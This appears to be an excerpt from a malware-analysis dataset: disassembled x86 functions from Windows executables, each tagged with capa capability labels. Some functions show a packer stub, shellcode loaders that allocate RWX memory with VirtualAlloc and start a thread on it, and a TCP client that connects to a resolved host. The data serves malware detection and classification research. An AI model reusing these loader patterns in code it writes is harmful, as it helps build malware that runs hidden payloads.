joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414280
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4142ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4142ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x50fe30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x463015
lea edi, [esi - 0x62015]
push edi
jmp 0x50fe4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50fe51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50fe40
mov eax, 1
add ebx, ebx
jne 0x50fe63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50fe74
jne 0x50fe93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50fe93
dec eax
add ebx, ebx
jne 0x50fe80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x50fe58
add ebx, ebx
jne 0x50fe8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x50fee5
xor ecx, ecx
sub eax, 3
jb 0x50feab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50ff1a
sar eax, 1
mov ebp, eax
jmp 0x50feb6
add ebx, ebx
jne 0x50feb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50fe84
inc ecx
add ebx, ebx
jne 0x50fec4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50fe84
add ebx, ebx
jne 0x50fed1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50fec6
jne 0x50fee2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50fec6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50ff04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50fef6
jmp 0x50fe46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50ff04
add edi, ecx
jmp 0x50fe46
pop esi
mov edi, esi
mov ecx, 7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x50ff22
cmp byte [edi], 0
jne 0x50ff22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x50ff27
lea edi, [esi + 0x10d000]
mov eax, dword [edi]
or eax, eax
je 0x50ff96
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13705c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1370c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50ff54
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1370d0]
or eax, eax
je 0x50ff90
mov dword [ebx], eax
add ebx, 4
jmp 0x50ff71
call dword [esi + 0x1370cc]
mov ebp, dword [esi + 0x1370d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x10fff1]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50ffe2
sub esp, 0xffffff80
jmp 0x4153e0
Function at 0x401520
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x268
mov dword [ebp - 0x244], sym.___gxx_personality_sj0
mov dword [ebp - 0x240], 0x415874
lea eax, [ebp - 0x23c]
lea edi, [ebp - 0x18]
mov dword [eax], edi
mov edx, 0x4016fc
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
call dbg.__main
lea eax, [ebp - 0x225]
mov edx, section..rdata
mov ebx, 0x205
mov ecx, eax
and ecx, 1
test ecx, ecx
je 0x40159b
movzx ecx, byte [edx]
mov byte [eax], cl
add eax, 1
add edx, 1
sub ebx, 1
mov ecx, eax
and ecx, 2
test ecx, ecx
je 0x4015b3
movzx ecx, word [edx]
mov word [eax], cx
add eax, 2
add edx, 2
sub ebx, 2
mov ecx, ebx
shr ecx, 2
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
mov ecx, 0
mov esi, ebx
and esi, 2
test esi, esi
je 0x4015db
movzx esi, word [edx + ecx]
mov word [eax + ecx], si
add ecx, 2
and ebx, 1
test ebx, ebx
je 0x4015e9
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x205
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x258], 1
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x225]
mov ebx, 0x205
mov ecx, eax
and ecx, 1
test ecx, ecx
je 0x401644
movzx ecx, byte [edx]
mov byte [eax], cl
add eax, 1
add edx, 1
sub ebx, 1
mov ecx, eax
and ecx, 2
test ecx, ecx
je 0x40165c
movzx ecx, word [edx]
mov word [eax], cx
add eax, 2
add edx, 2
sub ebx, 2
mov ecx, ebx
shr ecx, 2
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
mov ecx, 0
mov esi, ebx
and esi, 2
test esi, esi
je 0x401684
movzx esi, word [edx + ecx]
mov word [eax + ecx], si
add ecx, 2
and ebx, 1
test ebx, ebx
je 0x401692
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x258], 1
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, 0
mov dword [ebp - 0x260], eax
jmp 0x401717
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x260]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x4095d0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp sym.___write_memory.part.0
Function at 0x409fd0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x40a008
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x409ffe
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x40a00a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x409ff0
xor eax, eax
pop ebx
pop esi
ret

Function at 0x40b400
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call sym._strlen
mov esi, eax
lea eax, [eax + 0x41]
and eax, 0xfffffff0
call fcn.0040a2d0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 8], esi
lea edi, [esp + 0xc]
mov dword [esp + 4], ebx
mov dword [esp], eax
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [esi + 0x10]
mov dword [ebp - 0x1c], eax
add eax, edi
mov dword [eax], 0x61616161
mov dword [eax + 4], 0x61616161
mov dword [eax + 8], 0x61616161
mov dword [eax + 0xc], 0x61616161
mov dword [eax + 0x10], 0x61616161
mov dword [eax + 0x14], 0x61616161
mov dword [eax + 0x18], 0x61616161
mov dword [eax + 0x1c], 0x61616161
mov byte [esp + esi + 0x3c], 0
mov byte [esp + esi + 0x1b], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [edi + esi + 0xf], 0x2d
sub esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x40b4e8
int3
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x40b583
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._malloc
mov ebx, eax
mov eax, dword [ebp - 0x1c]
lea edx, [edi + eax]
mov eax, 0x20
bt ebx, eax
jae 0x40b51d
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x40b515
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x40b580
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x1c]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call dbg.get_ptr_from_atom
cmp eax, ebx
mov esi, eax
je 0x40b59a
mov dword [esp], ebx
call sym._free
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
int3
lea ecx, [esi + 0x31]
mov esi, dword [ebp - 0x1c]
movzx eax, ax
mov edx, edi
mov dword [esp], esi
call dbg.get_ptr_from_atom
mov esi, eax
jmp 0x40b557
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40b557
mov dword [esp], ebx
call dword [ebp + 0x10]
nop
jmp 0x40b557
Function at 0x40c470
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x41e40c]
test ebx, ebx
je 0x40c4a0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x41e40c]
test eax, eax
je 0x40c4c5
cmp dword [eax], 0xffffffff
je 0x40c4e8
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x41e40c], eax
mov ebx, eax
jmp 0x40c47e
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x41e40c], eax
jmp 0x40c48f
call sym._abort
lea esi, [esi]
Function at 0x40cac0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov eax, dword [0x41e410]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0xfeedbab1
mov dword [ebp - 0x24], 0
test eax, eax
mov dword [ebp - 0x1c], 1
je 0x40cc42
cmp dword [eax], 1
je 0x40cafc
call sym.__pthread_once_raw.part.1.constprop.4
mov eax, dword [0x41e40c]
test eax, eax
je 0x40cc68
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x40cb27
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._pop_pthread_mem
mov esi, eax
mov eax, dword [entry3]
test eax, eax
je 0x40cb1d
test esi, esi
je 0x40cb1d
mov dword [esi + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esi + 0x44], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esi + 0x1c], 0xffffffff
mov dword [esi + 0x6c], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], eax
mov eax, dword [ebp - 0x28]
sub esp, 0x10
mov dword [esi + 0x34], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 0x38], eax
mov eax, dword [ebp - 0x20]
mov dword [esi + 0x3c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esi + 0x40], eax
call ebx
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call ebx
mov edx, dword [ebp - 0x2c]
lea ecx, [esi + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], edi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x40ccb4
mov eax, dword [esi + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [esi + 0x70], 0
mov dword [esi + 0x74], eax
movzx eax, byte [esi + 0x20]
sub esp, 4
and eax, 0xffffffcf
or eax, 0x10
mov byte [esi + 0x20], al
mov eax, dword [0x41e40c]
test eax, eax
je 0x40cc8e
mov dword [esp + 4], esi
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x40ccb4
mov ebx, esi
jmp 0x40cb1d
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_once_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x41e410], eax
jmp 0x40caf2
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x41e40c], eax
jmp 0x40cb09
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x41e40c], eax
jmp 0x40cc25
call sym._abort
lea esi, [esi]
Function at 0x40e6e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
call sym.___pthread_self_lite
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xbc]
test eax, eax
jne 0x40e761
test byte [ebx + 0x20], 0x30
je 0x40e768
mov eax, dword [0x41e40c]
test eax, eax
je 0x40e7f1
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x40e758
cmp dword [eax + 0x14], 0
je 0x40e7be
mov esi, dword [eax + 4]
mov dword [eax + 0x70], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x40e74b
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x40e77b
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call sym.__pthread_cleanup_dest.part.2
jmp 0x40e6ff
add ebx, 0x78
mov dword [esp + 4], 1
mov dword [esp], ebx
call sym._longjmp
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
cmp dword [ebx + 0xb8], 0
mov dword [ebx + 0x14], 0
je 0x40e7e8
mov eax, dword [0x41e40c]
test eax, eax
je 0x40e817
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push eax
push eax
jmp 0x40e758
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x40e7d5
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xb8], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
jne 0x40e79e
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x40e79e
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x41e40c], eax
jmp 0x40e712
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x41e40c], eax
jmp 0x40e7a7
Function at 0x410b00
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sym._strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.0040a2d0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
lea esi, [esp + 0xc]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [ebx + 0x10]
lea edx, [esi + eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebx + 0x30]
mov dword [edx], 0x61616161
mov dword [edx + 4], 0x61616161
mov dword [edx + 8], 0x61616161
mov dword [edx + 0xc], 0x61616161
mov dword [edx + 0x10], 0x61616161
mov dword [edx + 0x14], 0x61616161
mov dword [edx + 0x18], 0x61616161
mov dword [edx + 0x1c], 0x61616161
mov dword [ebp - 0x20], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [esi + ebx + 0xf], 0x2d
sub esp, 0xc
mov edi, eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x410bee
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x410c87
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._malloc
mov ebx, eax
mov eax, dword [ebp - 0x1c]
lea edx, [esi + eax]
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x410c28
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x410c20
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x410c84
mov ecx, dword [ebp - 0x1c]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x20]
call sym._get_ptr_from_atom_1
cmp eax, ebx
mov esi, eax
je 0x410c9e
mov dword [esp], ebx
call sym._free
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x1c]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x20]
call sym._get_ptr_from_atom_1
mov esi, eax
jmp 0x410c62
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x410c62
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x410c62
Function at 0x401f00
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40326b
push eax
mov eax, dword [section.Shared]
mov dword fs:[0], esp
sub esp, 0x14
inc eax
mov dword [section.Shared], eax
mov eax, dword [section.Shared]
cmp eax, 1
jle 0x401f46
push 0
push 0
push 0x401290
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x401280]
mov edx, dword [0x401284]
mov eax, dword [0x401288]
push esi
mov dword [esp + 8], ecx
mov cl, byte [0x40128c]
push edi
push 0x9b8d8
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], eax
mov byte [esp + 0x1c], cl
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 8], eax
test eax, eax
mov dword [esp + 0x24], 0
je 0x401f97
mov ecx, eax
call fcn.00402b60
mov esi, eax
jmp 0x401f99
xor esi, esi
mov ecx, esi
mov dword [esp + 0x24], 0xffffffff
call fcn.00402ca0
test eax, eax
je 0x401fba
lea edx, [esp + 0xc]
push 0xd
push edx
mov ecx, esi
call fcn.00402e90
mov eax, dword [esi + 0x4dc74]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x401fd8
push 0x64
call edi
mov eax, dword [esi + 0x4dc74]
test eax, eax
je 0x401fca
push 0xffffffffffffffff
call edi
mov ecx, dword [esp + 0x1c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret

Function at 0x402b60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1ac
push ebx
push esi
mov esi, ecx
mov al, 0x53
mov byte [esp + 9], al
mov byte [esp + 0xb], al
mov dword [esi], 0x401c7c
mov ecx, dword [0x4035d4]
lea eax, [esp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x16], 0x41
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], bl
call edi
lea edx, [esp + 0x28]
push edx
push 0x202
call eax
mov ecx, dword [0x4035d0]
mov al, 0x65
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
lea eax, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call edi
push ebx
push ebx
push 1
push ebx
call eax
mov dword [esi + 0xc], eax
mov ecx, 0x13718
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
mov dword [esi + 0x4dc74], ebx
mov dword [esi + 4], ebx
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x1ac
ret
Function at 0x402cc0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x402ce3
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402d46
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x402cee
push 0
push 0
push esi
push 0x402d70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x402e40
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push esi
push 0x40
push 0x3000
push 0x4dc60
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x402e5d
pop esi
ret
push edi
push 0
push 0
push eax
mov ecx, 0x13718
add esi, 0x4dc78
mov edi, eax
push eax
push 0
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov eax, 1
pop esi
ret